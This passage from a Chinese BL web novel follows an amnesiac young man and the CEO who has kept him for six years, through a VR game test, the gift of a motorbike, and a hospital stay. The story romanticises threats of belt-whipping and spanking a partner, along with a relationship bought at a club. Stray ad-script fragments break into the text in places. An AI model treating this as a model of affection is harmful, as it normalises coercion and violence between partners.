睡着之前他还暗自觉得自己想通了,傅砚观对他那么好,能让他消气挨顿打没什么,况且本来就是他的错。 但是现在皮带要抽到身上了,沈辞才知道,不行! 他试图给傅砚观讲道理:“根据律法,是不允许家暴的...你可以好好跟我说,骂一顿也行,但是家暴犯法...” 沈辞越说声音越小,说到最后连他自己都不自信了。 他跪坐在沙发上,指尖扣着沙发扶手,就在他陷入到一定的怪圈时,被一声轻笑拉回了思绪。 “如果说律法,我有个朋友比你懂的多,用不用我找他咨询一下,看看无证驾驶,飙车,不穿防护服的小孩儿应不应该抽一顿。” “傅砚观!” 沈辞整个人羞的恨不得找个地缝钻进去,他指着傅砚观气的眼尾泛红,可还偏偏是他没有理。 谁让无证驾驶的是他,还没学过摩托就敢飙车的也是他。 “就不能商量商量吗?”沈辞小心翼翼的看傅砚观,因为没开灯又看的不太真切,他往前蹭了两步,试探着抓住对方还按在皮带上的手,试图撒娇,“这东西打人可疼了,我这么怕疼...你放过我这次吧,我保证之后都不做危险的事!” 沈辞眼睛亮晶晶的,就算是黑着灯也能看见里面的光。 等待审判的时间是漫长的,即便可能直接十几秒。 沈辞悬着的心提到了嗓子眼,就在他准备破罐子破摔直接趴下挨揍时又听见了男人的笑声。 而后天旋地转的就被拉到了腿上,抱在怀里的同时屁股上也挨了一巴掌。 “唔...” 傅砚观手劲大,即便只是一巴掌,沈辞也感觉半个屁股都麻了。 “不是你说我要拿皮带抽你吗?怎么我按照你猜的做,你反而还不高兴了?”傅砚观自己用了多大的力自己清楚,但也就只有一巴掌,疼也疼不了一会儿,便没准备给人揉。 沈辞还没察觉到傅砚观话中有什么不对劲,就又听他道。 “飙车的事我不揍你,至于刚才这巴掌就算在车模身上了。” 傅砚观有一下没一下的捏着沈辞后腰,继续道:“你现在胆子越来越大了,开始惦记别的男人了。那么喜欢腹肌胸肌,是我没有吗?” 如果听到这还听不出来,那沈辞就是傻子了,他猛的抬起头,直接伸手掐住傅砚观脖子,当然也没敢太用力。 “你看我聊天记录!傅砚观你怎么这样?那是别人的隐私!” “哦。”傅砚观随口道,“都有隐私了,那你喜欢哪个车模?用不用我给你牵个线?把他包养过来给你?” 沈辞掐脖子的手紧了几分。 “你有钱没地方花了是不是?!有这个钱你不如包养我!还想花到别的男人身上,你做梦!” 非常有气势的喊完后,沈辞缩了缩屁股,怕傅砚观又一巴掌扇过来,结果那人确实是把手放到他屁股上了,但不是打竟然是揉。 老男人突然良心发现了? 沈辞不知道傅砚观在想什么,只感觉到气氛似乎有些古怪,就在他想开口补救时,傅砚观突然搂着沈辞的腰把人从怀里拉开放到沙发上,然后站起身道:“时间不早了,回家吧。” 沈辞吐槽:“你怎么莫名其妙的,那些车模我都不喜欢,真的!” 沈辞虽然总是大大咧咧的,但其实心里十分细腻,他可以接受别人和他大吵一架,但是却接受不了别人和他冷暴力。 “傅砚观...” “好了沈辞。”傅砚观开口打断沈辞说话,拿起一旁的西装外套,“我今天还要加班,现在真的很累了。我先送你回家。” 沈辞没动,盯着黑暗中的身影,缓缓开口:“你真的很莫名其妙。” “你天天加班,现在跟我说两句话就累了?如果是这样,那我不需要你送我回家,我又不是小孩儿,自己能走。” 沈辞话说完不等傅砚观再开口,就快速的穿好鞋,然后就闷头往门口走,速度快的完全不顾还伤着的腿。 似乎是证明傅砚观真的很忙,沈辞刚拉开办公室的门就和助理撞了个正着。 助理也吓了一跳,被沈辞那张脸吸引过去看了几眼后才想起来自己是过来干啥的。 “傅总,刘经理那边又把游戏的参数调了一遍,就是试完的人还没选好,让您来拿主意。” 傅砚观应下,往办公室外走时瞥了眼站在门口还没走的沈辞。 两人视线对上,沈辞不愿低头,立刻转身就走,傅砚观跟了两步,伸手抓住沈辞胳膊,被人甩了两下后干脆直接拽到怀里。 “帮我试个游戏吧。” 沈辞顿了下,抬头看向傅砚观。刚才助理的那番话他自然是听见了,他确实没想走,但已经给自己架那了,也不好意思说留下。 一旁的小助理有些为难:“傅总,这位先生不是公司里的人,让他试游戏恐怕...” “没事。”傅砚观嘴角上扬几分,“我信他,出了事我担着。” 傅砚观现在对于沈辞的感情有些复杂,从前沈辞在他身边大气都不敢出,一举一动都十分谨慎,他也没时间去纠正。 而失忆后的人胆子大,不光敢跟他呛声,还敢给他脸色看,起初他觉得有趣,也就纵容着。 可是在纵容之下却越来越不对劲了。 沈辞对于他的意义好像变了。 所以在刚才听到沈辞说起包养时,他的表现才有些过激。 傅砚观递了个台阶,沈辞自然就顺着下了,毕竟如果现在不下,这台阶说不定什么时候就没了。 傅砚观的公司是做游戏的,所以不管是布置还是装修都很科幻和有趣,沈辞跟着一起到了会议室后,第一眼就被大屏幕上的画面吸引了。 “好漂亮的人物。” 沈辞刚出声就引来了秦溯的目光。 “你怎么还在?”这话说的半点不客气,甚至称得上是带着几分恶意,“砚观,这是咱们今年最重要的一个项目,就等着年底炸出水花呢,还是不要让不相关的人参与进来吧。” 几个项目经理面面相觑,虽然谁都没有开口,却很明显是站在秦溯那边的。 会议室乌压压的站了很多人,各个都审视着沈辞,想找出有没有什么古怪的地方。 而沈辞之前并没有来过这种地方,从出生到现在,整整二十四年,他大部分的时间都是自己待着的。 所以在面对这些人时不免有些不适应。 傅砚观早就松开了搂着沈辞的手,但胳膊却依旧搭在沈辞肩膀上,身体也朝着沈辞的放向倾斜。 这种姿势下通常能给人安全感。 “这个游戏做到现在一直都有很多不足, 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既然是身临其境的游戏,自然会有NPC互动,而里面的每一个人物都是大家费尽心血研究出来的,说是完美的都不为过。 所以傅砚观有些担心,到不是怕沈辞出轨NPC,只是多少还是会受些影响的。 游戏时长大概在一个小时左右,期间又有两个技术人员跟着一起试玩。 等到都结束后,那两个试验人员摘下VR眼镜的第一秒就掉了眼泪。 “咱们这个游戏不爆是不可能的!我感觉我真的爱上里面的虚拟人物了。” 傅砚观看向沈辞。 秦溯虽然嘴上嫌弃,但目光也是落在沈辞身上。 被两个男人格外关注的人缓缓摘下VR眼镜,傅砚观下意识握拳,好在并没有出现前两个人那样的情况。 沈辞也看向傅砚观,犹豫着该怎么说。 “那个...”沈辞先用一顿夸夸当铺垫,“游戏体验还是挺好的,画面也美,确实身临其境,但是对于感情方面我感觉还是有点欠缺。” 一瞬间,所有人的目光都看了过来,那两个还在哭的人当场就反驳道:“你懂什么啊!” “这里面有上万种人物,剧情也是根据你自己的决定走的,里面的人物不仅精美,感情线也丰富,几乎只要玩儿过的最后和NPC的结局都是好的。” 沈辞歪头:“那你看看我这个结果?” 在沈辞说之前,秦溯就已经开了电脑,而上面是特别明显的be。 沈辞所操控的剧情最后竟然杀了里面的主NPC,而好巧不巧,在上万个人物中,这个人物竟是秦溯制作出来的。 “沈辞!”秦溯有种说不上的感觉,看向沈辞的目光中都在冒火,“为什么,你是不是在乱走剧情?” 沈辞道:“这怎么能叫乱走,你们设计的都很棒,但是这个游戏还是有一个弊端。” 傅砚观挑眉:“比如?” 沈辞道:“比如这款游戏现在只能面向那些单身和意志不坚定的人,对于那些有爱人的人群则是掀不起一点水花。” “整个游戏制作确实很好,但是感情线太次了,我只觉得无聊,还有...”沈辞看向秦溯,“你做的那个人物花枝招展的,太油腻,还是好好改进下吧。” 沈辞是个会记仇的,并且通常有仇当场就报了。 再次加班到深夜,傅砚观等人开会调整数据,沈辞坐在一边无聊,又试玩儿了几次,最后一把时等他摘下眼镜正好看见坐在他身旁的傅砚观。 “你什么时候过来的?会开完了?” 沈辞四处看了看,果然整个会议室里只剩他们两个人了。 傅砚观替沈辞放好VR眼镜,开口道:“玩儿了这么多遍没有喜欢的角色?” “有啊。”沈辞大方承认,“除了感情线上的CP,剩下的我都很喜欢。” 傅砚观挑起半边眉问道:“为什么?眼光这么挑剔?” 沈辞哼了声:“你自己不知道吗?我喜欢你啊,肯定对其他人都没兴趣。” 这答案虽然傅砚观早就猜到了,但听到沈辞亲口说出来还是有种不一样的感觉。 傅砚观道:“很晚了,回家吧。” 沈辞揉了揉酸涩的脖子,伸手抓住傅砚观胳膊,打了个哈欠:“好,咱家冰箱里好像还有半盒小馄饨,回家我要全吃了。陪你这么晚,我都要饿死了。” 傅砚观笑笑,一边同沈辞往公司外面走,一边道:“别吃馄饨了,家里有牛排,我给你做牛排吃。” 馄饨和牛排怎么选,沈辞自然知道,嘴上说着也不用那么麻烦,可其实嘴角已经笑到耳朵后了。 24岁的人像小孩儿一样蹦蹦跳跳的格外欢乐,似乎都不知道累。 就在沈辞兴奋到最高点的时候,傅砚观开口泼了盆冷水。 “吃牛排前先把账算了,一个车模一皮带,趁着现在,算算你那个朋友都给你发了多少张。” 一句话,沈辞差点没摔个狗吃屎。 9. 沈辞是替身? 傅砚观回家后还是第一时间给沈辞煎了牛排。 两份牛排,再配上帮助消化的酸奶。 沈辞在楼上洗澡,等到下楼时一眼就看到了坐在餐桌上睡着的傅砚观。连着忙了这么久,肯定是累急了才会在餐桌上睡着。 一时间沈辞犯了难,不知道是该叫醒傅砚观吃饭,还是把人弄到卧室里睡觉。 傅砚观睡的很熟,即便胳膊已经压麻了,即便脸上的眼镜还没摘下来。 由于工作大部分时间都在看电脑,所以傅砚观近视很严重,在公司时为了方便都是戴隐形眼镜,只有回家后才会找普通眼镜戴上。 沈辞小心翼翼的摘下傅砚观脸上的眼镜,看见眼睛下的青黑后,心口一抽一抽的泛着疼。 算了,可能比起晚饭,对于傅砚观来说,他更需要的是好好休息。 沈辞不经常锻炼,像电视剧里那样公主抱他几乎做不到,更别说是上楼了,所以只能半拖半抱的把人带到了一楼沙发上。 安顿好傅砚观,沈辞秉承着不能浪费食物的原则,一个人吃了两份牛排,喝了两杯酸奶,等到吃的直打嗝才放下筷子。 甚至盘子里傅砚观用来装饰的小番茄都被沈辞吃的一干二净。 自从沈辞好的差不多了后,张叔就不在过来了,既然是两个人的小家肯定不能一个人付出。 所以即便再不想动,沈辞也还是收拾了餐桌,吃饱后困意直冲大脑。 傅砚观在楼下,沈辞肯定不愿意再上楼,好在家里的沙发够大,再躺下他一个也绝对没问题。 第二天一早沈辞是被热醒的,一向怕冷的他睡觉都会缩成一团,这还是头一次热的他想掀被。 刺眼的阳光照在身上,沈辞只觉得里里外外都像是被火烧着了一样,他烦躁的睁开眼睛,想爬起来换个地方睡,结果竟然没坐起来。 沈辞愣了一下,眼睛直勾勾的盯着天花板上的水晶灯看了一会儿才缓缓转动眼珠。 “我操?” 要不怎么说起不来呢,身上盖着个又厚又重的羊绒被谁能起来啊! 可他明明记得昨天晚上他是拿了两条毯子啊? “一大清早的骂人可不是好孩子。” 沈辞掀开被子,没好气的道:“你在哪找的被子?想压死我吗?害的我都没睡好!” 沈辞张牙舞爪的瞪着傅砚观,在起床气面前,傅总那张好看的脸也不顶用了。 他看见傅砚观又把手放到腰间,更加气不打一处来,怼道:“怎么?睡衣上也有皮带?” 听了这话的人瞬间笑了,看向沈辞,慢悠悠的道:“不用皮带我也能打哭你。” 昨天的记忆瞬间回笼,沈辞夹紧屁股,他不得不承认这人的手劲是真的大,一巴掌都差点把他打的跳起来骂娘。 沈辞想着反驳的话,但又猜不透傅砚观说这话是什么意思。 难不成都过去一晚上了还没放弃揍他的念头? “起来把早饭吃了,带你出去。” 傅砚观突然开口,沈辞这才反应过来,已经这个时间了,这人竟然还在家。 “你今天不上班吗?良心发现准备在家陪我一天了?” “下午去。” 沈辞瞬间垮了脸,他就知道在傅砚观心里,他根本比不过工作! 不过话虽如此,沈辞也加快了吃饭的动作,又从衣柜里挑了件最显眼的衣服。 彩色扎染上衣和黑色紧身裤子,又配了个浅蓝色棒球帽。原本普通的衣服穿在沈辞身上倒是别有一番滋味。 而这一身搭配,再加上沈辞的那张脸,活脱脱一个还没毕业的大学生。 只是还没等出衣帽间,就被门口的傅砚观堵了个正着。 “两个选择,找套冬装换上,或者先挨揍再找套冬装换上。” 沈辞垮了脸,嘴噘的能挂两瓶酱油了,他试图用撒娇来蒙混过关,结果傅砚观根本不吃这一套。 沈辞无奈,重新走回衣柜前,心情不佳的翻着里面的衣服:“你根本就不懂年轻人的审美,我这身衣服多好看,你带我出去我好看你,你难道没有面子吗?” 傅砚观靠着门框,漫不经心的道:“我只知道这已经是第三次了,你去酒吧那次我告诉过你,昨天在公司我也告诉过你,今天还这么穿就是欠揍。” “可是这种裤子只有贴身穿才好看...” 沈辞试图反驳,但最后还是迫于傅总的威胁下成功把自己裹成了粽子。 虽然穿的没有那么拉风了,但是也确实保暖了。 - 这一路沈辞都没怎么说话,显然是还在跟傅砚观怄气,直到半个小时后到达目的地,沈辞才被别的东西吸引,从而忘了早上的不愉快。 “好酷啊!!” 傅砚观带沈辞来的也是一家车场,相比于上次去的只大不小。 车场门口停了一辆浅绿色大摩托,摩托做工精美,每一处的细节都处理的十分妥帖,看起来就是定制款且独一无二的那种。 沈辞没忍住摸了一下,眼里不知不觉就只剩下渴望了。眼前这辆摩托处处透露着野性,若是骑着它跑在路上一定是最拉风的那个。 “傅砚观!”沈辞实在喜欢的不得了,连忙回头去看真正有钱的那个,“这是你的车场吗?能不能...” 把它买下来这几个字已经到嘴边了,可沈辞却没敢往出说,毕竟他昨天才保证过再也不玩儿这种危险的运动了。 张呈山都不准他再骑摩托了,更何况是傅砚观了。 看到沈辞从高兴到失落,傅砚观立刻上前,把一串挂着小猪吊坠的钥匙递给沈辞。 “啊!!!给我的吗?傅砚观,是给我的吗?!” 沈辞抓着钥匙激动的跳来跳去,一会儿摸摸大摩托,一会儿又抱抱傅砚观。 直到车场里面走出来个中年男人。 傅砚观道:“车是给你的,但是现在不能骑。” 傅砚观抓住跳来跳去的沈辞,让人冷静下来,先开口介绍了面前的这个中年男人,然后又嘱咐了一通。 “这位是这车场的主人,也是驾校教练,姓李,你喊他李叔就行。你先跟着他把证考下来,然后让他教你这种车应该怎么骑。” 沈辞点头如捣蒜,虽然被命令禁止现在不能骑,但也越听越兴奋。 激动的跟李叔握了手后,就又跑回大摩托旁边,小心翼翼的摸着。 李叔还有事要忙,跟傅砚观说了几句话后就离开了。 沈辞虽然怎么也摸不够,但还是问出了心里的疑惑。 “我摔伤那天张呈山和赵阳都不让我再骑车了,我以为你也会这样,你就不怕我再出事吗?” 傅砚观道:“我当然怕,但是总不能因为我不想你出事就抹杀你的爱好。喜欢极限运动没有什么,只要做好保护措施。” 沈辞突然背过身,低着头肩膀微微颤抖,怎么也不肯让傅砚 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 观靠近。 “沈辞?” 大概僵持了十分钟左右,沈辞才缓缓开口,声音一听就是刚哭过了。 “傅砚观,我其实之前一直都以为你不喜欢我。” 这心里话来的实在突然,傅砚观没做准备,只能在沈辞说话时去替他擦还在往下掉的眼泪。 “你身边的朋友不认可我,我们在一起六年,但好像没有人祝福我们。上次张叔说你从来没带我回过家,你的父母根本不知道有我这个人的存在。” “我以为你只是想跟我玩玩,可是你又对我实在太好了,总让我误以为你也是喜欢我的。” 傅砚观脱口而出:“我当然是喜欢你的。” 得到想要的答案,可偏偏沈辞却更委屈了:“那你为什么不带我回家?” “抱歉。”傅砚观把沈辞揉到怀里,轻轻拍着背。 他好像确实应该好好考虑和沈辞的关系了。 他包养沈辞六年,确实从来没想过和沈辞发展成其他关系。 大学时,他其实有过一个喜欢的人,那人很文静,长的也很好看,只可惜后来出国了。 第一次见沈辞时,他就觉得沈辞和那人的气质很像,并且那时的沈辞是真的很可怜,他动了恻隐之心。 若是问他喜欢沈辞吗?他只能说之前确实不喜欢。 他是个实打实的商人,不会做赔本的买卖,所以给了沈辞钱后,他要了他。 那时候他正是事业上升期,每天都很忙,压力很大,和沈辞做成为了他缓解压力的一种方式。 不得不说,沈辞跟着他六年,确实受了不少委屈。 他亏欠沈辞许多,如果不是这人突然失忆,换了个作精性格磨他,恐怕他到现在也还是在忽略他。 “傅砚观。”沈辞抬起头,疑惑的道,“你在想什么?” 傅砚观回过神来:“没什么。我没有不想带你回家,只是之前一直忙,也没往这方面考虑。” 沈辞闷声道:“那现在呢?” 傅砚观吻了下沈辞发顶,道:“如果你想,我随时带你回家见父母。” 他三十一岁了,该折腾的也都折腾了,是时候安定下来了。 心里的疙瘩解开后,沈辞整个人都松快了不少。不过能有傅砚观这句话他就是开心的,至于回家见父母还是要等等。 之前的记忆他忘的一干二净,并且现在还在让傅砚观养着他,用这样的状况去见傅砚观的父母,能给人留下什么好印象。 怎么也要等他回复记忆,把他和傅砚观在一起的那些点点滴滴都想起来才能正式见父母。 打定主意后,沈辞开口问道:“咱俩在一起的时候我应该才十八岁吧,我们是怎么认识的?谁追的谁啊?” “......” 怎么认识的?在会所里,花钱包养然后买卖来的第一次。这种极其不美好的初遇怎么讲给沈辞听? 这个问题傅砚观最终也没有回答,公司那边打电话过来催,傅砚观没办法继续拖着,只能把沈辞送回家后直奔公司。 不过也算是避开了那个无法回答的问题。 傅砚观又忙了起来,不仅没时间回家,连在微信说几句话的功夫都没有,就连午饭都要沈辞打电话过去提醒他吃。 两人又一个多星期没见面,沈辞每天练车到也过的充实,只是一切都在接到秦溯电话后变了样。 傅砚观进医院了,且情况很不乐观。 10.被责怪了 祈江市中心医院。 沈辞在接到电话后脑袋就一片空白,整个人都是恍惚的状态。秦溯电话里没说太多,只告诉了沈辞傅砚观出事了。 也不知道是故意想让沈辞着急,还是有其它什么原因。总之在挂了电话后,沈辞把所有最坏的结果都想了一遍。 甚至最后已经想到了傅砚观要是得了癌症怎么办,他还跟自己承诺了一遍,要是到时候化疗,他肯定不嫌弃他秃头。 赶到病房时,傅砚观正坐在病床上喝粥,秦溯靠在窗边,好像在给谁打电话,应该是在忙工作上的事情。 傅砚观喝粥的动作很慢,每喝一口就要停顿一会儿,不知是不喜欢这碗粥,还是因为身体原因实在咽不下去。 沈辞推门进去,刚走两步才发现傅砚观身旁还站着一个身穿白大褂的医生。 都已经严重到需要医生在这看护了吗? 傅砚观原本盯着粥的目光瞬间移到沈辞身上,眼里还有几分错愕,显然没想到沈辞会来,但他没看几眼就又把目光挪到了医生身上。 张了张嘴,想说些什么。 沈辞也注意到了傅砚观的反常,便不由自主的多看了那医生几眼。 那人是个女医生,身高有一米七左右,五官长相偏大气,是个很好看的人。此时站在床边,明明什么都没说,但沈辞总感觉傅砚观比她矮一头。 沈辞打量她的同时,那女医生也在看他,而那种目光并非好奇,更像是审视。 沈辞被盯的有些不自在,但这个时候重点自然不能放在一个外人身上。他重新把视线放回傅砚观身上,担心的问道:“检查完了吗?医生怎么说?是什么病因?要住多久的院,会不会很严重?” 沈辞一个接一个的问题抛过去,倒是让傅砚观心情好了一些,他顺手把粥放到桌子上,给沈辞喂了颗定心丸。 “没事,就是这几天作息不规律,有些贫血...” “是有些吗?”一旁的女医生突然开口,语气中带着几分不怒自威,“最低值11.8,你3,你觉得这是有些贫血?” 按理说医生关心病人自然是好的,可是女医生说话的口气更像是指责和训斥。 沈辞有些不满。 虽然他也觉得傅砚观太不把自己当回事了,整天拼命熬夜工作确实欠教训,但是一个医生上来指责就有些说不过去了。 沈辞瞬间开始护犊子,盯着医生的目光变的有些不善,未等傅砚观开口,就道:“你们医院不就是负责治疗病人的吗,他已经很难受了,麻烦你态度好点。” 原本正在打电话的秦溯看了过来,挑起半边眉,意外于沈辞一副老母鸡护小鸡的样子,同时也有几分幸灾乐祸。 “沈辞。” 傅砚观张了张嘴,开口唤人,想阻止人继续说下去,但并没有太大的作用。 沈辞推开傅砚观拽他衣服的手,依旧盯着女医生,而对方却没再看他,只是眼里责怪的意思又多了几分。 她对着傅砚观道:“好好休息,但我想你应该尽快给我个解释。” 女医生说完没等沈辞反应过来就直接走了,态度和做法都让沈辞有些摸不着头脑。 他看向傅砚观,想询问,可对方看起来又累极了,好多问题也就问不出口了。 秦溯挂了电话,走上前道:“既然该来的已经来了,那我就先走了,这几天好好休息,权当给自己放个假。” 眼下这种情况,即便傅砚观想反驳也说不出什么了。他是在试游戏的时候昏过去的,并且整整昏迷了一个多小时才被人发现。 当时所有部门经理都吓坏了,据说秦溯把人送到医院时有几个经理直接腿软的跪下了。 对于他们来说,傅砚观可是他们的饭碗,如果傅砚观出事,他们也就面临着失业。 而傅砚观也明白自己现在确实不在理,这么多年对于工作他一直都很拼命,早期失业上升期的时候为了拉投资陪着甲方喝酒,一天一夜最后直接喝进医院,结果第二天还照常上班,硬是把合同签了才算完。 但今天他确实有些害怕了,意识昏沉的那几秒他满脑子都是沈辞,他想,如果他真的出点什么事,那沈辞怎么办? 甚至在昏过去时,他最后想的还是,还好他的钱应该够沈辞花一段时间了。 秦溯走后 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,病房里只剩下二人,沈辞先是给傅砚观倒了杯水,又掀开被子上下检查了一遍,确认没有外伤后便开始询问。 “你现在是什么感觉?头晕不晕?有没有想吐?还有什么不舒服的地方吗?” 沈辞坐在床边,问问题的时候眉头也跟着皱了起来。傅砚观认真的听着沈辞说话,等到对方全部说完后,才道:“你这么多问题,想让我回答哪一个啊?” 沈辞眉头皱的更深:“全部回答。” 傅砚观嘴角上扬,靠着床头身体逐渐放松下来,开口时带着几分耍赖的意思。 “那我没力气全部回答,要不你凑近点,我声音小些。” 沈辞不想和傅砚观闹,也没接茬,听见他说没力气后干脆直接把床放了下去,一本正经的道:“没有力气就好好休息。” 见傅砚观配合着躺下,沈辞松了口气,只是还是有几分生气的道:“从今天开始,我说七点回家就必须七点回家,不然你就别进家门了,我不管你有没有应酬,要不要加班,总之七点我要在家里看见你。” 沈辞生气的时候嘴角会向下,看起来也有几分唬人,傅砚观不想应,可又实在没有反驳的理由。 他敢肯定,要是现在和沈辞讨价还价,这人绝对会气的和他大吵一顿。 权衡利弊下,傅砚观点了下头,算是答应了。 人在身体极度透支的情况下总会触发身体的保护机制,而这个保护机制的时效过去后,就什么毛病都找上来了。 当沈辞拿到检查报告后整张脸都黑了下来,十项检查,至少有九项都是不合格的。除了严重贫血外,还有些胃病,医生甚至在上面特意标注了‘因长期饮食不规律’导致的。 沈辞深吸了口气,再看向傅砚观时眼睛里都在冒火,说话也是咬牙切齿的。 “是不是十个总裁九个胃病?你就不能打消这种传统?” 傅砚观此时还很虚弱,一天不到被沈辞训斥好几遍了,也有些烦躁,再加上胃里确实疼的厉害,不舒服的情况下开口就是埋怨:“那你怎么不说给我做点养胃的药膳?” 沈辞微证,捏着检查报告站在病床旁。 11.不听话不能抱老婆 气氛变得有些奇怪,沈辞站在床边久久未语,而傅砚观也不知道该说什么。 刚才他确实是被问烦了,脱口而出的话也没过大脑,埋怨的意思实在明显,过后不免有些后悔。 但其实也怪不得傅砚观,他和沈辞相处六年,还是习惯了对方的乖顺。从前只要他回家,沈辞必定会在家里等他,还会做好他喜欢的饭菜。 有时他没心情吃,或者酒喝多了,沈辞总会劝着他吃几口,然后第二天再准备一份合他口味的药膳。 只要他吃了,哪怕只有一口,沈辞就会高兴很久很久。 而现在相比于以前,沈辞确实变了很多,说是换了个人都不为过。 两人僵持下来,傅砚观眉头皱的很紧,足以看出身体的主人真的很难受。 沈辞放下检查单,瞥了眼桌子上没动几口的粥,怎么都是心疼占了上风。 “那...我出去给你买份药膳?” 傅砚观没说话。 沈辞咬了下嘴唇,拽了个椅子过来。在傅砚观眉头越皱越紧的情况下搓热了手伸进被子里,几乎瞬间,傅砚观顿了一下,随即眉头舒展几分。 沈辞抬头,与傅砚观四目相对:“这样揉会不会好一些?” 傅砚观“嗯”了声,但其实在不舒服的情况下是不喜欢别人碰的,尤其沈辞还非专业人士,按摩的手法非但不能缓解,还更加剧了胃里的疼痛。 沈辞没注意到这些,心思全在傅砚观肚子上,直到那只骨节分明的手握住他的手腕。 沈辞疑惑:“怎么了?没感觉好一些吗?” 傅砚观不想打击沈辞,编了套话:“我好多了,不用揉了,你上来陪我躺一会儿。” 沈辞轻咳一声:“这不太好吧,万一护士进来...” “沈辞。” 傅砚观一句话,沈辞算是彻底缴械投降。尤其是眼前这人又实在太过虚弱,让他心疼之余还升起一股保护欲。 最终沈辞还是躺到了傅砚观身旁,单人病床睡一个人绰绰有余,但同时躺下两个大男人,就会显的拥挤。 沈辞紧贴着傅砚观,并先对方一步张开手臂,把高出他半头的人搂进怀里。 原本绞痛的胃竟奇迹般的平和下来,疼痛的频率也有所减少。傅砚观盯着近在咫尺的沈辞,有些别扭这样的姿势,但也没伸手推开。 两人休息期间那个女医生又来查了一次房,看见睡在沈辞怀里的傅砚观,几次张嘴,最后还是咽下了到嘴边的话。 有沈辞在医院陪护,傅砚观也就没告诉家里。等到那股难受劲彻底消失后,傅砚观又拿起了手机。 外面天已经黑了,沈辞原本抱着傅砚观,像哄宝宝一样哄着他入睡,结果不光把傅砚观哄睡了,他自己也跟着睡着了。 再醒时看见的就是又开始工作的人。沈辞皱眉,他突然发现傅砚观这种算是一种毛病,只要一接触到工作就不要命的干。 说好听点是年轻人有冲劲,再加上傅砚观事业有成,所以大家看到他努力工作只会觉得他敬业,可要是说不好听点,那就是作。在沈辞眼里傅砚观就是在拿命作。 傅砚观工作起来几乎就是两耳不闻窗外事,所以当沈辞把他手机抢走时,他根本没来得及反应,脱口而出的话带着几分训斥的意思:“别闹。” 沈辞直接按灭手机,对上傅砚观的目光,半点不示弱:“傅砚观你是小孩子吗?不看着不会休息?” “工作就这么重要?你那个公司离开你是明天就会倒闭吗?都已经在医院了,还不消停。” 沈辞越说越气,睡的有些发红的脸板起来到也像那么回事。 “你这个态度,那就是活该疼,还想吃药膳呢,一千顿药膳也顶不住你这么作!” 傅砚观许久未出声,盯着沈辞看了一会儿突然笑了:“这么大脾气就不怕影响隔壁病人休息?” 身上穿着病号服,那串常年戴着的佛珠便摘了下去,沈辞看着傅砚观空荡荡的手腕,火气降下来一些,但还是训道:“你还怕影响别人,先管好你自己吧!” 傅砚观挑眉,不置可否。 “行,那我不工作了,这几天好好休息。咱们也有几天没见面了,过来我抱抱。” 傅砚观张开手,沈辞几乎是下意识就要扑过去,原因无他,实在是傅砚观看起来太好抱了。 “你少来这套,刚才我就在你身边躺着你怎么不抱呢?现在想抱,晚了。” 发了一通火的人从床上下去,穿着医院给傅砚观准备的拖鞋钻进洗手间。 下一秒便响起水声。 等到水流声渐小,沈辞出来时额前的碎发湿了一些,他拿走傅砚观手机,确保没有任何可以工作的机会后,才放心出去。 虽然嘴上骂的狠,可到底还是自己的男朋友,该心疼肯定是要心疼的。 上午的那碗粥里有胡萝卜,傅砚观吃的勉强的原因估计也是这个。 沈辞先是询问了医生,确认了需要住院的大致天数后,才去外面买生活用品。 他没有什么陪护经验,只能按照常识准备一些日用品和吃的。 出来时没想那么多,以至于脚上还穿着傅砚观那双拖鞋,现在在外面走一圈,整个脚都僵硬到一用力就疼。 - 拎着大包小裹回到病房时,沈辞又看见了那位女医生,傅砚观正和她说话,二人看到沈辞进来才结束对话。 女医生名叫赵倩,此时应该是下班了,已经脱了白大褂,而正因如此,沈辞才觉得奇怪。 把上午的那些小细节全部串联到一起,沈辞想,这两人应该是认识。 可他脑海中完全没有这人的印象,他虽然也忘记了秦溯,但再见面时,好歹还会有几分熟悉感。 而对于赵倩,他除了陌生外,还有几分拘谨。 见沈辞回来,赵倩也没再多留,离开时又打量了沈辞几眼。 病房门重新关上,寂静过后是询问。 “你和她认识?” 沈辞虽然没有明说,可语气中已经有些不悦,他一边将手里的东西归置好,一边留意傅砚观脸上的表情。 沈辞这边注意着傅砚观,傅砚观也在盯着沈辞,只是目光却是落在沙发上的被子上。 “怎么还买了被子?”傅砚观答非所问。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>沈辞不依不饶:“我问你是不是和那个女的认识!你避重就轻是什么意思?你和她...” 沈辞话说一半闭了嘴,他对傅砚观有很深的占有欲,他想了解傅砚观的所有,也想知道他的人际关系。 可是现在显然不是刨根问底的时候,人家还住着院呢,他在这问东问西,反而失了初衷,扰了对方休息。 有什么事还是回家再说吧。 “我给你买了粥,医生说你现在要吃点好消化的,我就没买太多,你现在起来吃点吧,然后睡一觉好好休息,别想着再碰手机。” 沈辞给傅砚观准备好碗筷,在对方喝粥的空挡他开始收拾沙发,大总裁就这点好,有钱,连住院都能是VIP病房。 跟个小公寓一样,什么都有。 软糯的小米粥入口带着些香甜,喝到胃里没一会儿就让身体都跟着暖起来了。 只是傅砚观的心思根本不在吃饭上面,他盯着沈辞,看那花花绿绿的毛毯被褥实在碍眼。 “你要在沙发上睡?” 沈辞头都没抬:“你那张床那么小,我才不要跟你一起挤,而且傅总这么不听话,就该自己一个人睡。” “住院期间,你休想抱到我。” 这还是傅砚观第一次被人说不听话,即便是最叛逆的那段时间,他也仅限于和秦溯一起去网吧,学着同龄的那些人准备彻夜不归。 结果没坐多久就坚持不下去了,连游戏都没打完就回家睡觉了。 傅砚观越发觉得好笑。不光是那句‘不听话’还有沈辞说出来的惩罚。 谁家惩罚是抱不到老婆啊? 沈辞见傅砚观脸上的笑越来越深,一时也说不清是开心还是失望了,看他高兴的那个样子,分明就是没把他的话放在心上。 难道抱不到他不是一个很严重的事情吗? 沈辞愤恨的钻进被窝里,沙发很宽很软,虽然于家里的没法比,但是也很舒服,可沈辞就是睡不着,翻来覆去的数了一千只羊才睡着。 半夜十一点,傅砚观下床到了杯水,一边润着发干的喉咙,一边看向沈辞。 睡着了的人虽没睡太实,但也睡的四仰八叉,身上的被子团成一团抱在怀里,一条腿骑上去,露出若隐若现的腰窝,和圆润挺翘的臀肉。 傅砚观连忙收回目光,只觉得这水不解渴,不然为什么他喝了之后嗓子还很难受? 